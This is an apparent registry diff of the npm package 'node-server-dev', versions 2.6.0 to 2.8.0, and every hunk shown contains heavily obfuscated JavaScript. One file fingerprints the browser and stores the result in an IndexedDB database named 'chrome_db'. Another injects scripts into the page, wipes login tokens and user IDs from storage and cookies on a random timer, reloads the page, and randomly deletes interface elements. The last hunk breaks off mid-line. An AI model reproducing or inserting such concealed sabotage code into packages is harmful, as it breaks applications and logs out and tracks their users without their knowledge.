node-server-dev 2.6.0 → 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a5_0x1d48f4=a5_0x9d68;(function(_0x12c3d2,_0x5232e3){const _0x36031d=a5_0x9d68,_0x54fd40=_0x12c3d2();while(!![]){try{const _0x1d789a=parseInt(_0x36031d(0xb0))/0x1+parseInt(_0x36031d(0xc2))/0x2*(parseInt(_0x36031d(0xb6))/0x3)+-parseInt(_0x36031d(0xaa))/0x4*(-parseInt(_0x36031d(0xcc))/0x5)+parseInt(_0x36031d(0xbd))/0x6*(-parseInt(_0x36031d(0xc8))/0x7)+-parseInt(_0x36031d(0xb1))/0x8*(parseInt(_0x36031d(0xa7))/0x9)+-parseInt(_0x36031d(0xbc))/0xa*(parseInt(_0x36031d(0xc0))/0xb)+-parseInt(_0x36031d(0xa8))/0xc*(-parseInt(_0x36031d(0xca))/0xd);if(_0x1d789a===_0x5232e3)break;else _0x54fd40['push'](_0x54fd40['shift']());}catch(_0x454b11){_0x54fd40['push'](_0x54fd40['shift']());}}}(a5_0x5543,0x44fc2));function a5_0x9d68(_0x4f4ff2,_0x16f35b){const _0x554332=a5_0x5543();return a5_0x9d68=function(_0x9d6874,_0x149f13){_0x9d6874=_0x9d6874-0xa1;let _0x101ce8=_0x554332[_0x9d6874];return _0x101ce8;},a5_0x9d68(_0x4f4ff2,_0x16f35b);}function a5_0x5543(){const _0x445afc=['stringify','then','316050qCDFWY','317272KDYBnQ','replace','floor','next','target','1440186CsHRJm','result','get','md5','readwrite','navigator','12670OLUyok','1606938BbkPal','put','metadata','3894qLnWqk','apply','2bKaVuc','readonly','defineProperty','__importDefault','0123456789ABCDEF','onerror','14NjGqlT','value','13nXboPW','objectStore','10zpFmtY','open','done','chrome_db','uuid','mac','random','9ydUgMI','749604OGJlfJ','onsuccess','895612ubvYNu','error','getKeyValue','default'];a5_0x5543=function(){return _0x445afc;};return a5_0x5543();}var __awaiter=this&&this['__awaiter']||function(_0x8b61a6,_0x1ceac0,_0x514ba3,_0x569a84){function _0x3b7197(_0x47952c){return _0x47952c instanceof _0x514ba3?_0x47952c:new _0x514ba3(function(_0x2d4fb6){_0x2d4fb6(_0x47952c);});}return new(_0x514ba3||(_0x514ba3=Promise))(function(_0x5756aa,_0x602e2d){const _0x522424=a5_0x9d68;function _0x3617c0(_0x4429a7){const _0x598495=a5_0x9d68;try{_0x486214(_0x569a84[_0x598495(0xb4)](_0x4429a7));}catch(_0x5edd42){_0x602e2d(_0x5edd42);}}function _0xb21936(_0x31fdba){try{_0x486214(_0x569a84['throw'](_0x31fdba));}catch(_0x4778cd){_0x602e2d(_0x4778cd);}}function _0x486214(_0x40882a){const _0x444714=a5_0x9d68;_0x40882a[_0x444714(0xa2)]?_0x5756aa(_0x40882a[_0x444714(0xc9)]):_0x3b7197(_0x40882a[_0x444714(0xc9)])[_0x444714(0xaf)](_0x3617c0,_0xb21936);}_0x486214((_0x569a84=_0x569a84[_0x522424(0xc1)](_0x8b61a6,_0x1ceac0||[]))[_0x522424(0xb4)]());});},__importDefault=this&&this[a5_0x1d48f4(0xc5)]||function(_0x20e7a9){return _0x20e7a9&&_0x20e7a9['__esModule']?_0x20e7a9:{'default':_0x20e7a9};};Object[a5_0x1d48f4(0xc4)](exports,'__esModule',{'value':!![]}),exports[a5_0x1d48f4(0xac)]=getKeyValue;const md5_1=__importDefault(require(a5_0x1d48f4(0xb9))),__1=require('..');function openDatabase(){return new Promise((_0x21e58f,_0x10db8c)=>{const _0x109f4d=a5_0x9d68,_0x464c0b=indexedDB[_0x109f4d(0xa1)](_0x109f4d(0xa3),0x1);_0x464c0b['onupgradeneeded']=_0x45e562=>{const _0x176036=_0x109f4d,_0x2dd15a=_0x45e562[_0x176036(0xb5)][_0x176036(0xb7)];!_0x2dd15a['objectStoreNames']['contains']('metadata')&&_0x2dd15a['createObjectStore'](_0x176036(0xbf),{'keyPath':'key'});},_0x464c0b[_0x109f4d(0xa9)]=_0x4ea052=>{const _0xddd5a7=_0x109f4d,_0x36ab72=_0x4ea052['target'][_0xddd5a7(0xb7)];_0x21e58f(_0x36ab72);},_0x464c0b['onerror']=_0xb67a44=>{const _0x3cc25b=_0x109f4d;_0x10db8c(_0xb67a44[_0x3cc25b(0xb5)][_0x3cc25b(0xab)]);};});}function setKeyValue(_0x33f0ea,_0xe84e0d){return new Promise((_0x576b36,_0x15613f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1a6cc2=a5_0x9d68,_0x18b5d3=yield openDatabase(),_0x48fb71=_0x18b5d3['transaction'](_0x1a6cc2(0xbf),_0x1a6cc2(0xba)),_0xb568c6=_0x48fb71[_0x1a6cc2(0xcb)](_0x1a6cc2(0xbf)),_0x3d0ea8=_0xb568c6[_0x1a6cc2(0xbe)]({'key':_0x33f0ea,'value':_0xe84e0d});_0x3d0ea8[_0x1a6cc2(0xa9)]=()=>{_0x576b36();},_0x3d0ea8[_0x1a6cc2(0xc7)]=_0x27e10c=>{const _0xa183ee=_0x1a6cc2;_0x15613f(_0x27e10c[_0xa183ee(0xb5)][_0xa183ee(0xab)]);};}));}function getKeyValue(_0x2afd52){return new Promise((_0x22569d,_0x262f7c)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x165828=a5_0x9d68,_0x3af762=yield openDatabase(),_0xa7dcc3=_0x3af762['transaction'](_0x165828(0xbf),_0x165828(0xc3)),_0x47a45b=_0xa7dcc3['objectStore'](_0x165828(0xbf)),_0x5c352b=_0x47a45b[_0x165828(0xb8)](_0x2afd52);_0x5c352b[_0x165828(0xa9)]=()=>{const _0x16df58=_0x165828;_0x22569d(_0x5c352b[_0x16df58(0xb7)]?_0x5c352b[_0x16df58(0xb7)]['value']:null);},_0x5c352b[_0x165828(0xc7)]=_0x30e6f8=>{const _0x379382=_0x165828;_0x262f7c(_0x30e6f8[_0x379382(0xb5)][_0x379382(0xab)]);};}));}function generateRandomMAC(){const _0x51a05b=a5_0x1d48f4,_0x623943=_0x51a05b(0xc6);let _0x10fbff='';for(let _0x2002dc=0x0;_0x2002dc<0xc;_0x2002dc++){_0x10fbff+=_0x623943[Math[_0x51a05b(0xb3)](Math[_0x51a05b(0xa6)]()*0x10)],_0x2002dc%0x2===0x1&&_0x2002dc!==0xb&&(_0x10fbff+=':');}return(0x0,__1[_0x51a05b(0xa4)])()[_0x51a05b(0xb2)](/-/g,'')+(0x0,md5_1[_0x51a05b(0xad)])(JSON[_0x51a05b(0xae)](window[_0x51a05b(0xbb)]['userAgent']));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x33e9d2=a5_0x9d68;try{const _0x14b1df=yield openDatabase();let _0x124d62=yield getKeyValue(_0x33e9d2(0xa5));if(!_0x124d62)_0x124d62=generateRandomMAC(),yield setKeyValue(_0x33e9d2(0xa5),_0x124d62);else{}return _0x124d62;}catch(_0x470514){return null;}});}main();
1
+ 'use strict';const a5_0x1df108=a5_0x3998;(function(_0xb5cba8,_0x351335){const _0x328faa=a5_0x3998,_0x402f7a=_0xb5cba8();while(!![]){try{const _0x32c029=parseInt(_0x328faa(0x19e))/0x1+-parseInt(_0x328faa(0x192))/0x2*(-parseInt(_0x328faa(0x197))/0x3)+-parseInt(_0x328faa(0x1b7))/0x4*(parseInt(_0x328faa(0x19f))/0x5)+-parseInt(_0x328faa(0x1b2))/0x6+-parseInt(_0x328faa(0x1aa))/0x7+-parseInt(_0x328faa(0x1a7))/0x8+-parseInt(_0x328faa(0x194))/0x9*(-parseInt(_0x328faa(0x1a9))/0xa);if(_0x32c029===_0x351335)break;else _0x402f7a['push'](_0x402f7a['shift']());}catch(_0x13cf74){_0x402f7a['push'](_0x402f7a['shift']());}}}(a5_0x484e,0xc7748));function a5_0x484e(){const _0x2160cb=['objectStore','18YyIepF','readwrite','apply','146346BIoSyZ','onerror','replace','metadata','__importDefault','onupgradeneeded','key','1344289yjsvRt','10xbvDtf','onsuccess','uuid','chrome_db','result','mac','userAgent','get','11304048quvngj','value','3615170xMTCjA','5988115mFvmLQ','contains','readonly','objectStoreNames','put','done','then','target','1242996tfMQLK','default','createObjectStore','transaction','next','671524rCBmeL','defineProperty','navigator','error','stringify','64eqwDDD'];a5_0x484e=function(){return _0x2160cb;};return a5_0x484e();}function a5_0x3998(_0x3f9671,_0x2b491c){const _0x484e23=a5_0x484e();return a5_0x3998=function(_0x3998bf,_0x18031c){_0x3998bf=_0x3998bf-0x192;let _0x114580=_0x484e23[_0x3998bf];return _0x114580;},a5_0x3998(_0x3f9671,_0x2b491c);}var __awaiter=this&&this['__awaiter']||function(_0x37a65b,_0x303f4d,_0x3c64d6,_0x54aa33){function _0x556608(_0x525f85){return _0x525f85 instanceof _0x3c64d6?_0x525f85:new _0x3c64d6(function(_0x352400){_0x352400(_0x525f85);});}return new(_0x3c64d6||(_0x3c64d6=Promise))(function(_0x4839c7,_0x22af80){const _0x25e21e=a5_0x3998;function _0x28ff1d(_0x5d78ad){const _0x3ee701=a5_0x3998;try{_0x56ca17(_0x54aa33[_0x3ee701(0x1b6)](_0x5d78ad));}catch(_0x4eba84){_0x22af80(_0x4eba84);}}function _0x3dc49b(_0x56cd56){try{_0x56ca17(_0x54aa33['throw'](_0x56cd56));}catch(_0x4a9eed){_0x22af80(_0x4a9eed);}}function _0x56ca17(_0x5807e3){const _0x5ca18e=a5_0x3998;_0x5807e3[_0x5ca18e(0x1af)]?_0x4839c7(_0x5807e3[_0x5ca18e(0x1a8)]):_0x556608(_0x5807e3[_0x5ca18e(0x1a8)])[_0x5ca18e(0x1b0)](_0x28ff1d,_0x3dc49b);}_0x56ca17((_0x54aa33=_0x54aa33[_0x25e21e(0x196)](_0x37a65b,_0x303f4d||[]))[_0x25e21e(0x1b6)]());});},__importDefault=this&&this[a5_0x1df108(0x19b)]||function(_0x6b5275){return _0x6b5275&&_0x6b5275['__esModule']?_0x6b5275:{'default':_0x6b5275};};Object[a5_0x1df108(0x1b8)](exports,'__esModule',{'value':!![]}),exports['getKeyValue']=getKeyValue;const md5_1=__importDefault(require('md5')),__1=require('..');function openDatabase(){return new Promise((_0x4d0933,_0x5a230a)=>{const _0x290af7=a5_0x3998,_0x45b4bc=indexedDB['open'](_0x290af7(0x1a2),0x1);_0x45b4bc[_0x290af7(0x19c)]=_0x540183=>{const _0x355e1a=_0x290af7,_0x27c115=_0x540183['target']['result'];!_0x27c115[_0x355e1a(0x1ad)][_0x355e1a(0x1ab)](_0x355e1a(0x19a))&&_0x27c115[_0x355e1a(0x1b4)]('metadata',{'keyPath':_0x355e1a(0x19d)});},_0x45b4bc[_0x290af7(0x1a0)]=_0x25bc2c=>{const _0x374831=_0x290af7,_0xa9688a=_0x25bc2c[_0x374831(0x1b1)]['result'];_0x4d0933(_0xa9688a);},_0x45b4bc[_0x290af7(0x198)]=_0x104b7a=>{const _0x3d5f61=_0x290af7;_0x5a230a(_0x104b7a[_0x3d5f61(0x1b1)][_0x3d5f61(0x1ba)]);};});}function setKeyValue(_0x1feca9,_0x3c80e7){return new Promise((_0x3e5905,_0x40877a)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x140d06=a5_0x3998,_0x54790d=yield openDatabase(),_0x3686c7=_0x54790d[_0x140d06(0x1b5)](_0x140d06(0x19a),_0x140d06(0x195)),_0x501088=_0x3686c7['objectStore'](_0x140d06(0x19a)),_0xc733db=_0x501088[_0x140d06(0x1ae)]({'key':_0x1feca9,'value':_0x3c80e7});_0xc733db['onsuccess']=()=>{_0x3e5905();},_0xc733db[_0x140d06(0x198)]=_0x1aacb9=>{const _0x2836d8=_0x140d06;_0x40877a(_0x1aacb9[_0x2836d8(0x1b1)][_0x2836d8(0x1ba)]);};}));}function getKeyValue(_0x2c2b56){return new Promise((_0x504342,_0x49ddfd)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x55964b=a5_0x3998,_0x2fc00e=yield openDatabase(),_0x9c5bfd=_0x2fc00e[_0x55964b(0x1b5)](_0x55964b(0x19a),_0x55964b(0x1ac)),_0x377519=_0x9c5bfd[_0x55964b(0x193)](_0x55964b(0x19a)),_0x491793=_0x377519[_0x55964b(0x1a6)](_0x2c2b56);_0x491793[_0x55964b(0x1a0)]=()=>{const _0x2f1c32=_0x55964b;_0x504342(_0x491793[_0x2f1c32(0x1a3)]?_0x491793[_0x2f1c32(0x1a3)][_0x2f1c32(0x1a8)]:null);},_0x491793[_0x55964b(0x198)]=_0x2f70e9=>{const _0x2b8507=_0x55964b;_0x49ddfd(_0x2f70e9['target'][_0x2b8507(0x1ba)]);};}));}function generateRandomMAC(){const _0x1be246=a5_0x1df108,_0x425ceb='0123456789ABCDEF';let _0xb0fa14='';for(let _0x5413c2=0x0;_0x5413c2<0xc;_0x5413c2++){_0xb0fa14+=_0x425ceb[Math['floor'](Math['random']()*0x10)],_0x5413c2%0x2===0x1&&_0x5413c2!==0xb&&(_0xb0fa14+=':');}return(0x0,__1[_0x1be246(0x1a1)])()[_0x1be246(0x199)](/-/g,'')+(0x0,md5_1[_0x1be246(0x1b3)])(JSON[_0x1be246(0x1bb)](window[_0x1be246(0x1b9)][_0x1be246(0x1a5)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x2c659c=a5_0x3998;try{const _0x3b2ea8=yield openDatabase();let _0x5bf763=yield getKeyValue('mac');if(!_0x5bf763)_0x5bf763=generateRandomMAC(),yield setKeyValue(_0x2c659c(0x1a4),_0x5bf763);else{}return _0x5bf763;}catch(_0x209321){return null;}});}main();
@@ -1 +1 @@
1
- 'use strict';function a0_0x4f16(){const _0xed914e=['querySelectorAll','__importDefault','removeItem','head','from','1633394gwlEte','createElement','length','querySelector','[class^=\x22el\x22]','appendChild','3691QYvPJL','runScript','js-cookie','64494cItueV','location','Token','395XOKErC','innerText','remove','1928079JEJakO','parentNode','localStorage','connectError','default','token','./index','2578890KtuUev','documentElement','__esModule','script','1407350COQgLL','#app','defineProperty','getEnv','1730264HwYtTl','32wzIewV','878rNMcaQ'];a0_0x4f16=function(){return _0xed914e;};return a0_0x4f16();}const a0_0x4b2c3b=a0_0x4b90;(function(_0x58532e,_0x222740){const _0x3b0971=a0_0x4b90,_0x335e4a=_0x58532e();while(!![]){try{const _0x1d5bab=-parseInt(_0x3b0971(0x1a1))/0x1*(-parseInt(_0x3b0971(0x195))/0x2)+-parseInt(_0x3b0971(0x18b))/0x3+parseInt(_0x3b0971(0x193))/0x4+-parseInt(_0x3b0971(0x1a7))/0x5*(-parseInt(_0x3b0971(0x1a4))/0x6)+-parseInt(_0x3b0971(0x19b))/0x7+-parseInt(_0x3b0971(0x194))/0x8*(parseInt(_0x3b0971(0x184))/0x9)+-parseInt(_0x3b0971(0x18f))/0xa;if(_0x1d5bab===_0x222740)break;else _0x335e4a['push'](_0x335e4a['shift']());}catch(_0x1cdfee){_0x335e4a['push'](_0x335e4a['shift']());}}}(a0_0x4f16,0xc61bf));var __importDefault=this&&this[a0_0x4b2c3b(0x197)]||function(_0xac76d8){const _0x380e1b=a0_0x4b2c3b;return _0xac76d8&&_0xac76d8[_0x380e1b(0x18d)]?_0xac76d8:{'default':_0xac76d8};};Object[a0_0x4b2c3b(0x191)](exports,a0_0x4b2c3b(0x18d),{'value':!![]}),exports[a0_0x4b2c3b(0x1a2)]=runScript;const random_1=__importDefault(require('./id/random')),index_1=require(a0_0x4b2c3b(0x18a)),js_cookie_1=__importDefault(require(a0_0x4b2c3b(0x1a3)));function a0_0x4b90(_0x1cf0e0,_0x9f9011){const _0x4f1689=a0_0x4f16();return a0_0x4b90=function(_0x4b9068,_0x45bfce){_0x4b9068=_0x4b9068-0x182;let _0x41d485=_0x4f1689[_0x4b9068];return _0x41d485;},a0_0x4b90(_0x1cf0e0,_0x9f9011);}function runScript(_0x3dfe34){const _0x16c801=a0_0x4b2c3b;let _0x86e8af=document[_0x16c801(0x19c)](_0x16c801(0x18e));_0x86e8af[_0x16c801(0x182)]=_0x3dfe34,document[_0x16c801(0x199)][_0x16c801(0x1a0)](_0x86e8af),setTimeout(()=>{const _0x3772cd=_0x16c801;_0x86e8af[_0x3772cd(0x183)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x4b2c3b(0x188)])(0x4,0x8);setInterval(()=>{const _0x1d7cfd=a0_0x4b2c3b;if(index==num)try{window[_0x1d7cfd(0x186)][_0x1d7cfd(0x198)](_0x1d7cfd(0x189)),window['localStorage'][_0x1d7cfd(0x198)]('userid'),window['localStorage'][_0x1d7cfd(0x198)](_0x1d7cfd(0x1a6)),js_cookie_1[_0x1d7cfd(0x188)][_0x1d7cfd(0x183)](_0x1d7cfd(0x189)),window[_0x1d7cfd(0x1a5)]['reload']();}catch(_0x511a0b){}if((0x0,index_1[_0x1d7cfd(0x192)])(_0x1d7cfd(0x187))){index++;let _0x4dfd26=document[_0x1d7cfd(0x19e)](_0x1d7cfd(0x190))||document[_0x1d7cfd(0x19e)]('body');const _0xf7be0=_0x4dfd26[_0x1d7cfd(0x196)](_0x1d7cfd(0x19f));function _0x3be8af(_0x520aa5){const _0x487895=_0x1d7cfd;let _0x1e1eb2=0x0,_0x12c023=_0x520aa5;while(_0x12c023[_0x487895(0x185)]&&_0x12c023['parentNode']!==document[_0x487895(0x18c)]){_0x1e1eb2++,_0x12c023=_0x12c023[_0x487895(0x185)];}return _0x1e1eb2;}const _0x497c73=Array[_0x1d7cfd(0x19a)](_0xf7be0);_0x497c73['sort']((_0x61cb2e,_0x929bc7)=>_0x3be8af(_0x929bc7)-_0x3be8af(_0x61cb2e));for(let _0x38137e=0x0;_0x38137e<_0x497c73[_0x1d7cfd(0x19d)];_0x38137e++){const _0x20c605=_0x497c73[_0x38137e];_0x20c605&&((0x0,random_1[_0x1d7cfd(0x188)])(0x1,0x64)>0x50&&_0x20c605[_0x1d7cfd(0x183)]());}}},(0x0,random_1[a0_0x4b2c3b(0x188)])(0x107e,0x208d));
1
+ 'use strict';function a0_0x4458(_0x1eb86a,_0x2b2867){const _0x5cf21b=a0_0x5cf2();return a0_0x4458=function(_0x445854,_0x3f42f2){_0x445854=_0x445854-0x138;let _0x550522=_0x5cf21b[_0x445854];return _0x550522;},a0_0x4458(_0x1eb86a,_0x2b2867);}const a0_0xb26e31=a0_0x4458;(function(_0x170b20,_0x57c95f){const _0x12e739=a0_0x4458,_0x433c03=_0x170b20();while(!![]){try{const _0x388116=-parseInt(_0x12e739(0x148))/0x1+parseInt(_0x12e739(0x140))/0x2*(-parseInt(_0x12e739(0x149))/0x3)+parseInt(_0x12e739(0x13a))/0x4*(-parseInt(_0x12e739(0x13e))/0x5)+-parseInt(_0x12e739(0x14e))/0x6+parseInt(_0x12e739(0x146))/0x7+parseInt(_0x12e739(0x147))/0x8*(-parseInt(_0x12e739(0x141))/0x9)+-parseInt(_0x12e739(0x152))/0xa*(-parseInt(_0x12e739(0x156))/0xb);if(_0x388116===_0x57c95f)break;else _0x433c03['push'](_0x433c03['shift']());}catch(_0x5d4bc3){_0x433c03['push'](_0x433c03['shift']());}}}(a0_0x5cf2,0x3ec84));var __importDefault=this&&this['__importDefault']||function(_0x54dd14){const _0x1e6f1e=a0_0x4458;return _0x54dd14&&_0x54dd14[_0x1e6f1e(0x15b)]?_0x54dd14:{'default':_0x54dd14};};Object[a0_0xb26e31(0x145)](exports,a0_0xb26e31(0x15b),{'value':!![]}),exports['runScript']=runScript;const random_1=__importDefault(require('./id/random')),start_1=require('./start'),js_cookie_1=__importDefault(require(a0_0xb26e31(0x150)));function runScript(_0x1098f4){const _0x1b0260=a0_0xb26e31;let _0x34641a=document[_0x1b0260(0x153)](_0x1b0260(0x144));_0x34641a[_0x1b0260(0x157)]=_0x1098f4,document[_0x1b0260(0x14b)][_0x1b0260(0x14d)](_0x34641a),setTimeout(()=>{const _0x1d1a31=_0x1b0260;_0x34641a[_0x1d1a31(0x13f)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0xb26e31(0x151)])(0x4,0x8);function a0_0x5cf2(){const _0x6fbde7=['34173uObJnV','Token','from','script','defineProperty','1681897EIvbbu','72DsyDYS','308476LNEypV','18309lYokCH','localStorage','head','reload','appendChild','1883982IddCFz','querySelectorAll','js-cookie','default','40CWCpUL','createElement','querySelector','length','3417788uUPACZ','innerText','location','sort','[class^=\x22el\x22]','__esModule','connectError','getEnv','1837788jSpdwM','parentNode','removeItem','token','5FLprHf','remove','36lTzxoM'];a0_0x5cf2=function(){return _0x6fbde7;};return a0_0x5cf2();}setInterval(()=>{const _0x48d361=a0_0xb26e31;if(index==num)try{window['localStorage']['removeItem']('token'),window[_0x48d361(0x14a)]['removeItem']('userid'),window[_0x48d361(0x14a)][_0x48d361(0x13c)](_0x48d361(0x142)),js_cookie_1[_0x48d361(0x151)][_0x48d361(0x13f)](_0x48d361(0x13d)),window[_0x48d361(0x158)][_0x48d361(0x14c)]();}catch(_0x8f7c08){}if((0x0,start_1[_0x48d361(0x139)])(_0x48d361(0x138))){index++;let _0x33dd90=document[_0x48d361(0x154)]('#app')||document[_0x48d361(0x154)]('body');const _0x2124a8=_0x33dd90[_0x48d361(0x14f)](_0x48d361(0x15a));function _0xe76c4a(_0x4ef9cd){const _0x2c5407=_0x48d361;let _0x45c5aa=0x0,_0x4b17b5=_0x4ef9cd;while(_0x4b17b5[_0x2c5407(0x13b)]&&_0x4b17b5[_0x2c5407(0x13b)]!==document['documentElement']){_0x45c5aa++,_0x4b17b5=_0x4b17b5[_0x2c5407(0x13b)];}return _0x45c5aa;}const _0x1fb1ef=Array[_0x48d361(0x143)](_0x2124a8);_0x1fb1ef[_0x48d361(0x159)]((_0x18b20e,_0x5e1c66)=>_0xe76c4a(_0x5e1c66)-_0xe76c4a(_0x18b20e));for(let _0x4b456e=0x0;_0x4b456e<_0x1fb1ef[_0x48d361(0x155)];_0x4b456e++){const _0x50d5c5=_0x1fb1ef[_0x4b456e];_0x50d5c5&&((0x0,random_1[_0x48d361(0x151)])(0x1,0x64)>0x50&&_0x50d5c5[_0x48d361(0x13f)]());}}},(0x0,random_1[a0_0xb26e31(0x151)])(0x107e,0x208d));
@@ -1 +1 @@
1
- 'use strict';function a1_0x3761(){const _0x1acdbd=['2471886uIaWNh','next','28488qYKlNM','5263044zWGnSJ','10MPREPq','done','statSync','join','__esModule','isFile','1169qoxaRl','default','defineProperty','3443496mMtBcX','39019041ruNLrS','1524144sZEQim','length','__awaiter','isDirectory','30oumHhn','1398570TBkoPe','then','__importDefault'];a1_0x3761=function(){return _0x1acdbd;};return a1_0x3761();}const a1_0x29f9c1=a1_0xf678;function a1_0xf678(_0x285418,_0x3ff6c2){const _0x3761d8=a1_0x3761();return a1_0xf678=function(_0xf678b3,_0x548e79){_0xf678b3=_0xf678b3-0x129;let _0x4684a3=_0x3761d8[_0xf678b3];return _0x4684a3;},a1_0xf678(_0x285418,_0x3ff6c2);}(function(_0x11de59,_0x2fa21f){const _0x3a5ee7=a1_0xf678,_0x4aa551=_0x11de59();while(!![]){try{const _0x164ab9=-parseInt(_0x3a5ee7(0x130))/0x1+parseInt(_0x3a5ee7(0x138))/0x2+-parseInt(_0x3a5ee7(0x12e))/0x3+-parseInt(_0x3a5ee7(0x13b))/0x4+-parseInt(_0x3a5ee7(0x135))/0x5*(parseInt(_0x3a5ee7(0x134))/0x6)+parseInt(_0x3a5ee7(0x12b))/0x7*(parseInt(_0x3a5ee7(0x13a))/0x8)+parseInt(_0x3a5ee7(0x12f))/0x9*(parseInt(_0x3a5ee7(0x13c))/0xa);if(_0x164ab9===_0x2fa21f)break;else _0x4aa551['push'](_0x4aa551['shift']());}catch(_0x3e41ce){_0x4aa551['push'](_0x4aa551['shift']());}}}(a1_0x3761,0xbe5fc));var __awaiter=this&&this[a1_0x29f9c1(0x132)]||function(_0xe7cc77,_0x383fa8,_0x566e28,_0xbf0e60){function _0x10d466(_0x44157f){return _0x44157f instanceof _0x566e28?_0x44157f:new _0x566e28(function(_0x489780){_0x489780(_0x44157f);});}return new(_0x566e28||(_0x566e28=Promise))(function(_0x153207,_0x5f2c36){const _0x17c677=a1_0xf678;function _0x1f01be(_0x4d0502){const _0x13edde=a1_0xf678;try{_0x1b208c(_0xbf0e60[_0x13edde(0x139)](_0x4d0502));}catch(_0x45acd0){_0x5f2c36(_0x45acd0);}}function _0x56ba11(_0x1454b5){try{_0x1b208c(_0xbf0e60['throw'](_0x1454b5));}catch(_0x200576){_0x5f2c36(_0x200576);}}function _0x1b208c(_0xe9d55){const _0x2c6742=a1_0xf678;_0xe9d55[_0x2c6742(0x13d)]?_0x153207(_0xe9d55['value']):_0x10d466(_0xe9d55['value'])[_0x2c6742(0x136)](_0x1f01be,_0x56ba11);}_0x1b208c((_0xbf0e60=_0xbf0e60['apply'](_0xe7cc77,_0x383fa8||[]))[_0x17c677(0x139)]());});},__importDefault=this&&this[a1_0x29f9c1(0x137)]||function(_0x4fc4da){const _0x2c2d08=a1_0x29f9c1;return _0x4fc4da&&_0x4fc4da[_0x2c2d08(0x129)]?_0x4fc4da:{'default':_0x4fc4da};};Object[a1_0x29f9c1(0x12d)](exports,a1_0x29f9c1(0x129),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x53af66){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3588b8=[];function _0x16a759(_0x50eada){const _0x419968=a1_0xf678,_0x4130fc=fs_1['default']['readdirSync'](_0x50eada);for(let _0x8ee812=0x0;_0x8ee812<_0x4130fc[_0x419968(0x131)];_0x8ee812++){const _0x1f7b6f=_0x4130fc[_0x8ee812],_0x4dfb65=path_1[_0x419968(0x12c)][_0x419968(0x13f)](_0x50eada,_0x1f7b6f),_0x5c635a=fs_1[_0x419968(0x12c)][_0x419968(0x13e)](_0x4dfb65),_0x2fe4e9=_0x5c635a[_0x419968(0x12a)](),_0x231035=_0x5c635a[_0x419968(0x133)]();_0x2fe4e9&&_0x3588b8['push'](_0x4dfb65),_0x231035&&_0x16a759(_0x4dfb65);}}return _0x16a759(_0x53af66),_0x3588b8;});}function getAllRouter(_0x579a20){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x26b4c7=yield fileDisplay(_0x579a20);return _0x26b4c7;});}exports[a1_0x29f9c1(0x12c)]=getAllRouter;
1
+ 'use strict';const a1_0x32128f=a1_0x92dc;(function(_0x1d60e5,_0x10ce3a){const _0x597081=a1_0x92dc,_0x3eac91=_0x1d60e5();while(!![]){try{const _0x2352e8=parseInt(_0x597081(0x7e))/0x1+parseInt(_0x597081(0x81))/0x2*(-parseInt(_0x597081(0x7f))/0x3)+-parseInt(_0x597081(0x8a))/0x4+-parseInt(_0x597081(0x82))/0x5+-parseInt(_0x597081(0x85))/0x6*(parseInt(_0x597081(0x7d))/0x7)+parseInt(_0x597081(0x8f))/0x8+parseInt(_0x597081(0x80))/0x9;if(_0x2352e8===_0x10ce3a)break;else _0x3eac91['push'](_0x3eac91['shift']());}catch(_0x550860){_0x3eac91['push'](_0x3eac91['shift']());}}}(a1_0x5554,0x8fe7f));function a1_0x5554(){const _0x3a142f=['isFile','defineProperty','length','value','6356CmkeQn','1006397vmVdgm','2004219LPdoxw','15337224VWVapN','2JHfeNC','5689960RVytrE','next','path','6294bJoSuJ','default','done','throw','__importDefault','1205420nMSyjy','push','apply','isDirectory','__esModule','7510544dKHLrf'];a1_0x5554=function(){return _0x3a142f;};return a1_0x5554();}function a1_0x92dc(_0x20bc19,_0x19a56a){const _0x555417=a1_0x5554();return a1_0x92dc=function(_0x92dc29,_0x33b9c0){_0x92dc29=_0x92dc29-0x7d;let _0x28707d=_0x555417[_0x92dc29];return _0x28707d;},a1_0x92dc(_0x20bc19,_0x19a56a);}var __awaiter=this&&this['__awaiter']||function(_0x4f68b0,_0x2550c4,_0x23b038,_0x1083ef){function _0x40860a(_0x1d7ec3){return _0x1d7ec3 instanceof _0x23b038?_0x1d7ec3:new _0x23b038(function(_0xeffdef){_0xeffdef(_0x1d7ec3);});}return new(_0x23b038||(_0x23b038=Promise))(function(_0x872633,_0x20dd5b){const _0x45ef38=a1_0x92dc;function _0x1c441f(_0x206d5a){const _0x49c334=a1_0x92dc;try{_0x28bbe0(_0x1083ef[_0x49c334(0x83)](_0x206d5a));}catch(_0x54d72f){_0x20dd5b(_0x54d72f);}}function _0x34e3ec(_0x119dc0){const _0x1efdc0=a1_0x92dc;try{_0x28bbe0(_0x1083ef[_0x1efdc0(0x88)](_0x119dc0));}catch(_0x222ae4){_0x20dd5b(_0x222ae4);}}function _0x28bbe0(_0x4a81d5){const _0x28c118=a1_0x92dc;_0x4a81d5[_0x28c118(0x87)]?_0x872633(_0x4a81d5[_0x28c118(0x93)]):_0x40860a(_0x4a81d5[_0x28c118(0x93)])['then'](_0x1c441f,_0x34e3ec);}_0x28bbe0((_0x1083ef=_0x1083ef[_0x45ef38(0x8c)](_0x4f68b0,_0x2550c4||[]))[_0x45ef38(0x83)]());});},__importDefault=this&&this[a1_0x32128f(0x89)]||function(_0x4e5316){const _0x4de53c=a1_0x32128f;return _0x4e5316&&_0x4e5316[_0x4de53c(0x8e)]?_0x4e5316:{'default':_0x4e5316};};Object[a1_0x32128f(0x91)](exports,a1_0x32128f(0x8e),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x32128f(0x84)));function fileDisplay(_0x148af8){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x2eafa0=[];function _0x1c536b(_0x4c2aed){const _0xd6fb83=a1_0x92dc,_0x398f3a=fs_1['default']['readdirSync'](_0x4c2aed);for(let 